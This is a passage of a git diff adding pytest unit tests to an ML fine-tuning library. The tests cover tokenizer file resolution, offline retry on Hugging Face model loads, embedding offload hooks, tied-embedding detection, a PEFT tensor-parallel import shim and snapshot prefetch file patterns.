+    open(os.path.join(path, name), "w").close()
+
+
+def test_has_local_tokenizer_json(tmp_path):
+    _touch(tmp_path, "tokenizer.json")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is True
+
+
+def test_has_local_tokenizer_model(tmp_path):
+    _touch(tmp_path, "tokenizer.model")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is True
+
+
+def test_has_local_tokenizer_bpe_needs_merges(tmp_path):
+    # vocab.json alone is not loadable BPE; it needs merges.txt.
+    _touch(tmp_path, "vocab.json")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is False
+    _touch(tmp_path, "merges.txt")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is True
+
+
+def test_has_local_tokenizer_empty_dir(tmp_path):
+    assert L._has_local_tokenizer_files(str(tmp_path)) is False
+
+
+def test_resolve_tokenizer_explicit_override_wins(tmp_path):
+    kwargs = {"tokenizer_name": "base/repo"}
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), kwargs) == "base/repo"
+    # tokenizer_name is always popped (it is passed explicitly downstream too).
+    assert "tokenizer_name" not in kwargs
+
+
+def test_resolve_tokenizer_self_sufficient_dir(tmp_path):
+    _touch(tmp_path, "tokenizer_config.json")
+    _touch(tmp_path, "tokenizer.json")
+    kwargs = {}
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), kwargs) == str(tmp_path)
+
+
+def test_resolve_tokenizer_config_without_files_falls_back(tmp_path):
+    # Has tokenizer_config.json but no loadable tokenizer file -> base repo.
+    _touch(tmp_path, "tokenizer_config.json")
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}) is None
+
+
+def test_resolve_tokenizer_nonexistent_dir_falls_back():
+    assert L._resolve_checkpoint_tokenizer_name("/no/such/dir", {}) is None
+
+
+# ---------------------------------------------------------------------------
+# _offline_aware_load (the retry orchestrator)
+# ---------------------------------------------------------------------------
+
+
+def test_retry_once_on_offline_error_then_succeed(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(dict(kwargs))
+        if len(calls) == 1:
+            raise ConnectionError("network down")
+        return "ok"
+
+    assert fake("model") == "ok"
+    assert len(calls) == 2
+    assert not calls[0].get("local_files_only")
+    assert calls[1].get("local_files_only") is True
+    assert L._force_offline_depth == 0
+
+
+def test_no_retry_on_non_offline_error(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(1)
+        raise ValueError("genuine bug, not a network issue")
+
+    with pytest.raises(ValueError):
+        fake("model")
+    assert len(calls) == 1
+
+
+def test_no_retry_when_already_offline_via_kwarg(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(dict(kwargs))
+        # Offline window is active for the single attempt.
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+        return "ok"
+
+    assert fake("model", local_files_only = True) == "ok"
+    assert len(calls) == 1
+    assert L._force_offline_depth == 0
+
+
+def test_offline_error_when_already_offline_propagates(monkeypatch):
+    # Already offline -> no online attempt to retry, so the error propagates once.
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(1)
+        raise ConnectionError("still down")
+
+    with pytest.raises(ConnectionError):
+        fake("model")
+    assert len(calls) == 1
+    assert L._force_offline_depth == 0
+
+
+def test_kwargs_preserved_across_retry(monkeypatch):
+    # Callee popping config/tokenizer_name must not change what the retry sees:
+    # fn(*args, **kwargs) re-packs a fresh **kwargs per call.
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    seen = []
+
+    @L._offline_aware_load
+    def fake(model_name, **kwargs):
+        cfg = kwargs.pop("config", None)
+        tok = kwargs.pop("tokenizer_name", None)
+        seen.append((cfg, tok))
+        if len(seen) == 1:
+            raise ConnectionError("down")
+        return cfg, tok
+
+    assert fake("m", config = "CFG", tokenizer_name = "TOK") == ("CFG", "TOK")
+    assert seen == [("CFG", "TOK"), ("CFG", "TOK")]
+
+
+def test_retry_runs_gc_collect_between_attempts(monkeypatch):
+    # The retry lives OUTSIDE the except so the failed attempt's traceback (a
+    # partial model) is freed by gc.collect() before the second load reallocates.
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    gc_calls = []
+    monkeypatch.setattr(L.gc, "collect", lambda *a, **k: gc_calls.append(1))
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(1)
+        if len(calls) == 1:
+            raise ConnectionError("down")
+        # By the retry attempt, gc.collect() must already have fired.
+        assert gc_calls, "gc.collect must run before the offline retry"
+        return "ok"
+
+    gc_calls.clear()
+    assert fake("model") == "ok"
+    assert len(calls) == 2
+    assert len(gc_calls) == 1
+
+
+# ---------------------------------------------------------------------------
+# _force_hf_offline — constant restore (no stale offline pin)
+# ---------------------------------------------------------------------------
+
+
+def test_force_offline_restores_freshly_imported_constant(monkeypatch):
+    # If huggingface_hub.constants is first imported inside the window, the saved value must
+    # be the pre-window state, not the just-forced "1"; otherwise the process pins offline.
+    import sys
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    saved_mod = sys.modules.get("huggingface_hub.constants")
+    saved_val = getattr(saved_mod, "HF_HUB_OFFLINE", None) if saved_mod else None
+    try:
+        sys.modules.pop("huggingface_hub.constants", None)  # simulate "not imported yet"
+        with L._force_hf_offline():
+            import huggingface_hub.constants as hfc_in
+            assert hfc_in.HF_HUB_OFFLINE is True  # forced offline inside the window
+        import huggingface_hub.constants as hfc_after
+
+        assert hfc_after.HF_HUB_OFFLINE is False  # restored, not pinned True
+        assert os.environ.get("HF_HUB_OFFLINE") is None
+    finally:
+        if saved_mod is not None:
+            sys.modules["huggingface_hub.constants"] = saved_mod
+            if saved_val is not None:
+                saved_mod.HF_HUB_OFFLINE = saved_val
+
+
+# ---------------------------------------------------------------------------
+# _resolve_checkpoint_tokenizer_name — VLM needs local processor files
+# ---------------------------------------------------------------------------
+
+
+def test_resolve_tokenizer_vlm_without_processor_falls_back(tmp_path):
+    # VLM checkpoint with tokenizer files but no processor config -> base repo (None), so its
+    # cached processor still loads instead of AutoProcessor failing on the local dir.
+    _touch(tmp_path, "tokenizer_config.json")
+    _touch(tmp_path, "tokenizer.json")
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}, require_processor = True) is None
+
+
+def test_resolve_tokenizer_vlm_with_processor_uses_local_dir(tmp_path):
+    _touch(tmp_path, "tokenizer_config.json")
+    _touch(tmp_path, "tokenizer.json")
+    _touch(tmp_path, "preprocessor_config.json")
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}, require_processor = True) == str(
+        tmp_path
+    )
diff --git a/tests/test_offload_embedding_hooks.py b/tests/test_offload_embedding_hooks.py
new file mode 100644
index 0000000000..b8be603b2a
--- /dev/null
+++ b/tests/test_offload_embedding_hooks.py
@@ -0,0 +1,129 @@
+"""Tests _install_offload_embedding_hooks in vision.py: the offloaded lookup must work and
+its output must land on the decoder device, read live from the output embeddings (lm_head)
+so it tracks model.to() moves. CUDA cases skip without a GPU."""
+
+import ast, os
+import torch
+import torch.nn as nn
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+VISION = os.path.join(HERE, "unsloth", "models", "vision.py")
+
+
+def _load_installer():
+    src = open(VISION).read()
+    mod = ast.parse(src)
+    for node in mod.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_install_offload_embedding_hooks":
+            ns = {"torch": torch}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["_install_offload_embedding_hooks"]
+    raise AssertionError("_install_offload_embedding_hooks not found in vision.py")
+
+
+install = _load_installer()
+CPU = torch.device("cpu")
+
+
+def _emb():
+    return nn.Embedding(32, 8)
+
+
+def _lm_head(device):
+    # Stand-in decoder reference (untied lm_head) whose weight device is the target.
+    return nn.Linear(8, 32, bias = False).to(device)
+
+
+def test_install_and_idempotent():
+    emb = _emb()
+    lm = _lm_head(CPU)
+    assert install(emb, lm, CPU) is True
+    assert emb._unsloth_offload_hooks_installed is True
+    n_pre = len(emb._forward_pre_hooks)
+    n_post = len(emb._forward_hooks)
+    assert install(emb, lm, CPU) is True
+    assert len(emb._forward_pre_hooks) == n_pre and len(emb._forward_hooks) == n_post
+    assert install(None, lm, CPU) is False
+
+
+def test_cpu_noop_forward():
+    # cpu weight + cpu decoder + cpu input -> output stays cpu.
+    emb = _emb()
+    install(emb, _lm_head(CPU), CPU)
+    out = emb(torch.randint(0, 32, (2, 5)))
+    assert out.shape == (2, 5, 8)
+    assert out.device.type == "cpu"
+
+
+def test_cuda_input_roundtrip():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # CPU weight, CUDA decoder + input -> lookup on cpu, output back on cuda.
+    emb = _emb().to("cpu")
+    install(emb, _lm_head("cuda"), torch.device("cuda"))
+    out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))
+    assert out.device.type == "cuda", out.device
+
+
+def test_cpu_input_still_returns_to_decoder():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # P1: offload makes the input arrive on cpu; the output must still reach the cuda decoder.
+    emb = _emb().to("cpu")
+    install(emb, _lm_head("cuda"), torch.device("cuda"))
+    out = emb(torch.randint(0, 32, (2, 5), device = "cpu"))
+    assert out.device.type == "cuda", out.device
+
+
+def test_live_decoder_over_stale_fallback():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # P2: fallback captured as cpu (model loaded on cpu), but the decoder later lives on cuda.
+    # The output must follow the live lm_head device, not the stale cpu fallback.
+    emb = _emb().to("cpu")
+    install(emb, _lm_head("cuda"), CPU)
+    out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))
+    assert out.device.type == "cuda", out.device
+
+
+def test_meta_lm_head_falls_back():
+    # A disk-offloaded (meta) lm_head must not be used as the return device: moving hidden
+    # states to meta is unrecoverable, so fall back to the captured device. No GPU needed.
+    emb = _emb().to("cpu")
+    lm = _lm_head(CPU)
+    lm.weight = nn.Parameter(lm.weight.to("meta"))
+    install(emb, lm, CPU)
+    out = emb(torch.randint(0, 32, (2, 5)))
+    assert out.device.type == "cpu", out.device
+
+
+def test_cuda_weight_pulled_back_to_gpu():
+    if not torch.cuda.is_available():
+        print("[SKIP] CUDA not available")
+        return
+    # bf16 weight later pulled back to gpu + cuda input -> no-op, stays on cuda.
+    emb = _emb().to("cuda")
+    install(emb, _lm_head("cuda"), torch.device("cuda"))
+    out = emb(torch.randint(0, 32, (2, 5), device = "cuda"))
+    assert out.device.type == "cuda", out.device
+
+
+if __name__ == "__main__":
+    test_install_and_idempotent()
+    print("[PASS] install + idempotent")
+    test_cpu_noop_forward()
+    print("[PASS] cpu no-op forward")
+    test_cuda_input_roundtrip()
+    print("[PASS] cuda input roundtrip")
+    test_cpu_input_still_returns_to_decoder()
+    print("[PASS] cpu input still returns to cuda decoder (P1)")
+    test_live_decoder_over_stale_fallback()
+    print("[PASS] live decoder device beats stale fallback (P2)")
+    test_meta_lm_head_falls_back()
+    print("[PASS] meta lm_head falls back to captured device (P2)")
+    test_cuda_weight_pulled_back_to_gpu()
+    print("[PASS] cuda weight-on-gpu no-op")
+    print("OK: offloaded embedding output always lands on the live decoder device")
diff --git a/tests/test_offload_tied_guard.py b/tests/test_offload_tied_guard.py
new file mode 100644
index 0000000000..096fba116d
--- /dev/null
+++ b/tests/test_offload_tied_guard.py
@@ -0,0 +1,62 @@
+"""Tests _embeddings_are_tied in vision.py: offload_embedding must detect a shared
+embed_tokens/lm_head weight so the loader can refuse to offload tied embeddings
+(offloading would strand the output projection on CPU). No GPU needed."""
+
+import ast, os
+import torch
+import torch.nn as nn
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+VISION = os.path.join(HERE, "unsloth", "models", "vision.py")
+
+
+def _load_fn():
+    src = open(VISION).read()
+    mod = ast.parse(src)
+    for node in mod.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_embeddings_are_tied":
+            ns = {"torch": torch}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["_embeddings_are_tied"]
+    raise AssertionError("_embeddings_are_tied not found in vision.py")
+
+
+tied = _load_fn()
+
+
+def test_untied_separate_weights():
+    emb = nn.Embedding(32, 8)
+    lm = nn.Linear(8, 32, bias = False)
+    assert tied(emb, lm) is False
+
+
+def test_tied_shared_parameter():
+    emb = nn.Embedding(32, 8)
+    lm = nn.Linear(8, 32, bias = False)
+    lm.weight = emb.weight  # transformers-style weight tying
+    assert tied(emb, lm) is True
+
+
+def test_tied_by_storage_even_if_distinct_parameter():
+    emb = nn.Embedding(32, 8)
+    lm = nn.Linear(8, 32, bias = False)
+    lm.weight = nn.Parameter(emb.weight.detach())  # distinct Parameter, shared storage
+    assert tied(emb, lm) is True
+
+
+def test_none_output_is_untied():
+    emb = nn.Embedding(32, 8)
+    assert tied(emb, None) is False
+    assert tied(None, nn.Linear(8, 32)) is False
+
+
+if __name__ == "__main__":
+    test_untied_separate_weights()
+    print("[PASS] untied separate weights -> False")
+    test_tied_shared_parameter()
+    print("[PASS] tied shared parameter -> True")
+    test_tied_by_storage_even_if_distinct_parameter()
+    print("[PASS] tied by storage -> True")
+    test_none_output_is_untied()
+    print("[PASS] missing lm_head -> untied (safe to offload)")
+    print("OK: tied embeddings are detected so offload_embedding can refuse them")
diff --git a/tests/test_peft_tensor_parallel_compat.py b/tests/test_peft_tensor_parallel_compat.py
new file mode 100644
index 0000000000..3dc00d46dc
--- /dev/null
+++ b/tests/test_peft_tensor_parallel_compat.py
@@ -0,0 +1,252 @@
+import importlib.machinery
+import importlib.util
+from pathlib import Path
+import sys
+import types
+
+import pytest
+
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+IMPORT_FIXES = REPO_ROOT / "unsloth" / "import_fixes.py"
+
+
+def _load_import_fixes():
+    spec = importlib.util.spec_from_file_location("_unsloth_import_fixes_peft_tp", IMPORT_FIXES)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+def _install_fake_module(
+    name,
+    *,
+    is_package = False,
+    attrs = None,
+):
+    module = types.ModuleType(name)
+    module.__spec__ = importlib.machinery.ModuleSpec(name, loader = None, is_package = is_package)
+    if is_package:
+        module.__path__ = []
+    if attrs:
+        for k, v in attrs.items():
+            setattr(module, k, v)
+    sys.modules[name] = module
+    return module
+
+
+@pytest.fixture(autouse = True)
+def _restore_import_fixtures():
+    keep = {
+        "transformers",
+        "transformers.integrations",
+        "transformers.integrations.tensor_parallel",
+        "peft",
+        "peft.utils",
+        "peft.utils.save_and_load",
+    }
+    snapshot = {name: sys.modules.get(name) for name in keep}
+    yield
+    for name, value in snapshot.items():
+        if value is None:
+            sys.modules.pop(name, None)
+        else:
+            sys.modules[name] = value
+
+
+def _install_fake_transformers_tensor_parallel(existing):
+    transformers = _install_fake_module("transformers", is_package = True)
+    integrations = _install_fake_module("transformers.integrations", is_package = True)
+    setattr(transformers, "integrations", integrations)
+
+    tp = _install_fake_module(
+        "transformers.integrations.tensor_parallel",
+        attrs = existing,
+    )
+    setattr(integrations, "tensor_parallel", tp)
+    return tp
+
+
+def _fake_peft_shard_state_dict_for_tp():
+    from transformers.integrations.tensor_parallel import (
+        ALL_PARALLEL_STYLES,
+        ColwiseParallel,
+        EmbeddingParallel,
+        RowwiseParallel,
+    )
+    return (
+        ALL_PARALLEL_STYLES,
+        ColwiseParallel,
+        EmbeddingParallel,
+        RowwiseParallel,
+    )
+
+
+def _install_fake_peft_tensor_parallel_import():
+    peft = _install_fake_module("peft", is_package = True)
+    utils = _install_fake_module("peft.utils", is_package = True)
+    setattr(peft, "utils", utils)
+
+    save_and_load = _install_fake_module("peft.utils.save_and_load")
+    save_and_load._maybe_shard_state_dict_for_tp = _fake_peft_shard_state_dict_for_tp
+    setattr(utils, "save_and_load", save_and_load)
+    return save_and_load
+
+
+def test_missing_tensor_parallel_symbol_import_succeeds_after_fix(monkeypatch):
+    module = _load_import_fixes()
+
+    _install_fake_peft_tensor_parallel_import()
+    _install_fake_transformers_tensor_parallel(
+        {
+            "ColwiseParallel": object,
+            "RowwiseParallel": object,
+        }
+    )
+
+    with pytest.raises(ImportError):
+        _fake_peft_shard_state_dict_for_tp()
+
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is True
+
+    import transformers.integrations.tensor_parallel as patched
+
+    all_parallel_styles, _, embedding_parallel, _ = _fake_peft_shard_state_dict_for_tp()
+
+    assert patched == sys.modules["transformers.integrations.tensor_parallel"]
+    assert embedding_parallel is getattr(patched, "EmbeddingParallel")
+    assert getattr(embedding_parallel, "__unsloth_stub__", False)
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        all_parallel_styles["rowwise"]
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        "rowwise" in all_parallel_styles
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        iter(all_parallel_styles)
+    with pytest.raises(NotImplementedError, match = "ALL_PARALLEL_STYLES"):
+        len(all_parallel_styles)
+
+
+def test_existing_embedding_parallel_is_not_replaced(monkeypatch):
+    module = _load_import_fixes()
+
+    class RealEmbeddingParallel:
+        pass
+
+    tp_mod = _install_fake_transformers_tensor_parallel(
+        {
+            "EmbeddingParallel": RealEmbeddingParallel,
+            "ColwiseParallel": object,
+        }
+    )
+
+    monkeypatch.setattr(
+        module,
+        "_extract_peft_tensor_parallel_imported_symbols",
+        lambda: ("ALL_PARALLEL_STYLES", "ColwiseParallel", "EmbeddingParallel", "RowwiseParallel"),
+    )
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is True
+
+    assert tp_mod.EmbeddingParallel is RealEmbeddingParallel
+    assert not getattr(tp_mod.EmbeddingParallel, "__unsloth_stub__", False)
+
+
+def test_missing_tensor_parallel_module_is_not_created(monkeypatch):
+    module = _load_import_fixes()
+    previous_tp_module = sys.modules.pop("transformers.integrations.tensor_parallel", None)
+
+    original_find_spec = module.importlib.util.find_spec
+
+    def fake_find_spec(name):
+        if name == "transformers.integrations.tensor_parallel":
+            return None
+        return original_find_spec(name)
+
+    monkeypatch.setattr(module.importlib.util, "find_spec", fake_find_spec)
+    monkeypatch.setattr(
+        module,
+        "_extract_peft_tensor_parallel_imported_symbols",
+        lambda: ("EmbeddingParallel",),
+    )
+
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is None
+
+    try:
+        spec = importlib.util.find_spec("transformers.integrations.tensor_parallel")
+    except ModuleNotFoundError as exc:
+        assert exc.name == "transformers"
+    else:
+        assert spec is None
+    assert "transformers.integrations.tensor_parallel" not in sys.modules
+
+
+def test_placeholder_raises_on_real_use(monkeypatch):
+    module = _load_import_fixes()
+
+    tp_mod = _install_fake_transformers_tensor_parallel({})
+    monkeypatch.setattr(
+        module,
+        "_extract_peft_tensor_parallel_imported_symbols",
+        lambda: ("EmbeddingParallel",),
+    )
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is True
+
+    with pytest.raises(NotImplementedError, match = "EmbeddingParallel"):
+        tp_mod.EmbeddingParallel()
+
+    assert getattr(tp_mod.EmbeddingParallel, "__unsloth_stub__", False)
+
+
+def test_symbol_extractor_falls_back_when_parse_returns_no_identifiers(monkeypatch):
+    module = _load_import_fixes()
+
+    _install_fake_peft_tensor_parallel_import()
+    monkeypatch.setattr(
+        module.inspect,
+        "getsource",
+        lambda _: "from transformers.integrations.tensor_parallel import ()",
+    )
+
+    assert module._extract_peft_tensor_parallel_imported_symbols() == (
+        "ALL_PARALLEL_STYLES",
+        "ColwiseParallel",
+        "EmbeddingParallel",
+        "RowwiseParallel",
+    )
+
+
+def test_symbol_extractor_falls_back_when_getsource_fails(monkeypatch):
+    module = _load_import_fixes()
+
+    _install_fake_peft_tensor_parallel_import()
+    monkeypatch.setattr(
+        module.inspect,
+        "getsource",
+        lambda _: (_ for _ in ()).throw(ValueError("no source")),
+    )
+
+    assert module._extract_peft_tensor_parallel_imported_symbols() == (
+        "ALL_PARALLEL_STYLES",
+        "ColwiseParallel",
+        "EmbeddingParallel",
+        "RowwiseParallel",
+    )
+
+
+def test_tensor_parallel_import_module_not_found_returns_none(monkeypatch):
+    module = _load_import_fixes()
+    _install_fake_peft_tensor_parallel_import()
+
+    monkeypatch.setattr(
+        module.importlib.util,
+        "find_spec",
+        lambda name: object() if name == "transformers.integrations.tensor_parallel" else None,
+    )
+
+    def _raise_missing(name):
+        exc = ModuleNotFoundError(name)
+        exc.name = name
+        raise exc
+
+    monkeypatch.setattr(module.importlib, "import_module", _raise_missing)
+
+    assert module.fix_peft_transformers_tensor_parallel_import_compat() is None
diff --git a/tests/test_prefetch_snapshot_scope.py b/tests/test_prefetch_snapshot_scope.py
new file mode 100644
index 0000000000..c7ec4f2c34
--- /dev/null
+++ b/tests/test_prefetch_snapshot_scope.py
@@ -0,0 +1,916 @@
+# Unsloth Zoo - Utilities for Unsloth
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""Pure-CPU, no-network unit tests for prefetch snapshot scoping in unsloth/models/_utils.py.
+
+maybe_prefetch_hf_snapshot warms the HF cache before the in-process load. The warm must cover at
+least what the load reads (else the missing file falls to an unprotected in-process Xet fetch) but
+not pull weights the load never reads. These tests lock the allow/ignore patterns each mode hands
+snapshot_download_with_xet_fallback. The zoo downloader is monkeypatched to capture its kwargs.
+"""
+
+import fnmatch
+import sys
+import types
+
+import pytest
+
+from unsloth.models import _utils as U
+
+
+def _filter(names, allow_patterns, ignore_patterns):
+    """Mirror HF filter_repo_objects: keep on allow match (or None), drop on ignore match."""
+    kept = []
+    for name in names:
+        if allow_patterns is not None and not any(fnmatch.fnmatch(name, p) for p in allow_patterns):
+            continue
+        if ignore_patterns and any(fnmatch.fnmatch(name, p) for p in ignore_patterns):
+            continue
+        kept.append(name)
+    return kept
+
+
+@pytest.fixture
+def capture(monkeypatch):
+    """Run maybe_prefetch_hf_snapshot with a fake repo, capturing the patterns forwarded to a
+    fake injected zoo downloader (independent of the installed unsloth_zoo). Offline env cleared."""
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+
+    state = {}
+
+    def fake_download(repo_id, **kw):
+        state["repo_id"] = repo_id
+        state["allow_patterns"] = kw.get("allow_patterns")
+        state["ignore_patterns"] = kw.get("ignore_patterns")
+        state["variant"] = kw.get("variant")
+        return "/tmp/fake-snapshot"
+
+    fake_module = types.ModuleType("unsloth_zoo.hf_xet_fallback")
+    fake_module.snapshot_download_with_xet_fallback = fake_download
+    fake_module.DownloadStallError = type("DownloadStallError", (RuntimeError,), {})
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.hf_xet_fallback", fake_module)
+
+    # Neutralize the model_info network call by default; tests exercising format selection
+    # install their own.
+    import huggingface_hub
+
+    class _NoNetworkApi:
+        def model_info(self, *a, **k):
+            raise RuntimeError("no network in test")
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _NoNetworkApi)
+
+    def run(**call_kwargs):
+        state.clear()
+        ok = U.maybe_prefetch_hf_snapshot("some-org/some-repo", **call_kwargs)
+        return ok, state
+
+    return run
+
+
+# Representative repo listing: root weights + aux, subdir, adapter, checkpoint, merged weights.
+_SAMPLE_FILES = [
+    "config.json",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "model-00001-of-00002.safetensors",
+    "model-00002-of-00002.safetensors",
+    "model.safetensors.index.json",
+    "pytorch_model.bin",
+    "fp16/model.safetensors",
+    "experimental/model-00001-of-00002.safetensors",
+    "checkpoint-500/model.safetensors",
+    "adapter_config.json",
+    "adapter_model.safetensors",
+]
+
+
+def test_weights_at_root_excludes_subdir_weights(capture):
+    """A root load ignores subdir weights (fp16/, experimental/, checkpoint-500/) but keeps root weights."""
+    ok, st = capture(weights_at_root = True, use_safetensors = True)
+    assert ok is True
+    assert st["allow_patterns"] is None
+    ig = st["ignore_patterns"]
+    assert "*/*.safetensors" in ig and "*/*.bin" in ig
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], ig)
+    assert "model-00001-of-00002.safetensors" in kept
+    assert "model.safetensors.index.json" in kept
+    assert "config.json" in kept
+    assert "fp16/model.safetensors" not in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+    assert "checkpoint-500/model.safetensors" not in kept
+
+
+def test_adapter_only_excludes_merged_weights(capture):
+    """An adapter warm keeps adapter files + root aux, not merged full-model weights."""
+    ok, st = capture(adapter_only = True)
+    assert ok is True
+    assert st["ignore_patterns"] is None
+    allow = st["allow_patterns"]
+    assert "adapter_config.json" in allow and "adapter_model*" in allow
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "adapter_config.json" in kept
+    assert "adapter_model.safetensors" in kept
+    assert "config.json" in kept and "tokenizer.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "pytorch_model.bin" not in kept
+    assert "fp16/model.safetensors" not in kept
+
+
+def test_adapter_only_warms_sharded_adapter(capture):
+    """A sharded adapter is still covered by the adapter_model* glob."""
+    _, st = capture(adapter_only = True)
+    sharded = [
+        "adapter_config.json",
+        "adapter_model-00001-of-00002.safetensors",
+        "adapter_model-00002-of-00002.safetensors",
+        "adapter_model.safetensors.index.json",
+    ]
+    kept = _filter(sharded, st["allow_patterns"], st["ignore_patterns"])
+    assert set(kept) == set(sharded)
+
+
+def test_tokenizer_only_warms_only_aux_files(capture):
+    """A tokenizer-only repo warms tokenizer/config/vocab files, never weights."""
+    _, st = capture(tokenizer_only = True)
+    assert st["ignore_patterns"] is None
+    assert st["allow_patterns"] == list(U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "tokenizer.json" in kept and "config.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_aux_warm_covers_arbitrary_remote_code_modules(capture):
+    """The aux warm must cover any *.py, since trust_remote_code auto_map names modules freely."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    assert "*.py" in allow
+    remote_code = [
+        "config.json",
+        "modeling.py",
+        "tokenization.py",
+        "my_custom_code.py",
+        "configuration_foo.py",
+    ]
+    kept = _filter(remote_code, allow, st["ignore_patterns"])
+    for name in ("modeling.py", "tokenization.py", "my_custom_code.py", "configuration_foo.py"):
+        assert name in kept, name
+
+
+def test_subfolder_warms_subfolder_plus_root_aux(capture):
+    """A subfolder load warms that subfolder's weights plus root aux; other subdirs/root weights skipped."""
+    _, st = capture(subfolder = "fp16")
+    allow = st["allow_patterns"]
+    assert "fp16/*" in allow
+    assert all(p in allow for p in U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+    assert "config.json" in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+
+
+def test_subfolder_takes_precedence_over_weights_at_root(capture):
+    """When a subfolder is requested the subfolder branch wins over weights_at_root."""
+    _, st = capture(subfolder = "fp16", weights_at_root = True)
+    assert "fp16/*" in st["allow_patterns"]
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+
+
+def test_local_dir_is_not_warmed(capture, tmp_path):
+    """A local directory path skips the warm (returns False)."""
+    d = tmp_path / "local-model"
+    d.mkdir()
+    ok = U.maybe_prefetch_hf_snapshot(str(d), weights_at_root = True)
+    assert ok is False
+
+
+def _install_fake_model_info(monkeypatch, filenames):
+    """Make HfApi().model_info(...).siblings report filenames, with no network."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Info:
+        def __init__(self, names):
+            self.siblings = [_Sib(n) for n in names]
+
+    class _Api:
+        def model_info(self, *a, **k):
+            return _Info(filenames)
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _Api)
+
+
+# ----- Finding P: variant-aware weight-format selection -----
+
+
+def test_variant_keeps_bin_when_only_default_safetensors(monkeypatch):
+    """A default model.safetensors must not prove a variant .bin redundant; without a variant it does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
